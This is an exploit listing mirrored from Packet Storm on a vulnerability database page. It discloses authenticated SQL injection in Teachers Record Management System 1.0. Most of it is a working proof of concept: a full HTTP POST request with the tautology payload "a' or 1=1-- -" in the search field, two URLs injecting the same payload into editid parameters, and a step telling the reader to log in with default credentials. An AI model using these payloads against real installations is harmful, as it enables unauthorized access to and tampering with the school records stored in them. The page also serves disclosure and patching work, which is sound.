Lucene search
K

Teachers Record Management System 1.0 SQL Injection

🗓️ 16 Jun 2021 00:00:00Reported by nhattruongType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 201 Views

Teachers Record Management 1.0 SQL Injection vulnerabilit

Code
`# Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated)  
# Date: 05-10-2021  
# Exploit Author: nhattruong or https://nhattruong.blog  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/  
# Version: 1.0  
# Tested on: Windows 10 + XAMPP v3.2.4  
  
POC:  
1. Go to url http://localhost/admin/index.php  
2. Login with default creds  
3. Execute the payload  
  
Payload #1:  
  
POST /admin/search.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 32  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/trms/admin/search.php  
Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0  
Upgrade-Insecure-Requests: 1  
  
searchdata=a' or 1=1-- -&search=  
  
Payload #2:  
  
http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- -  
  
Payload #3:  
  
http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation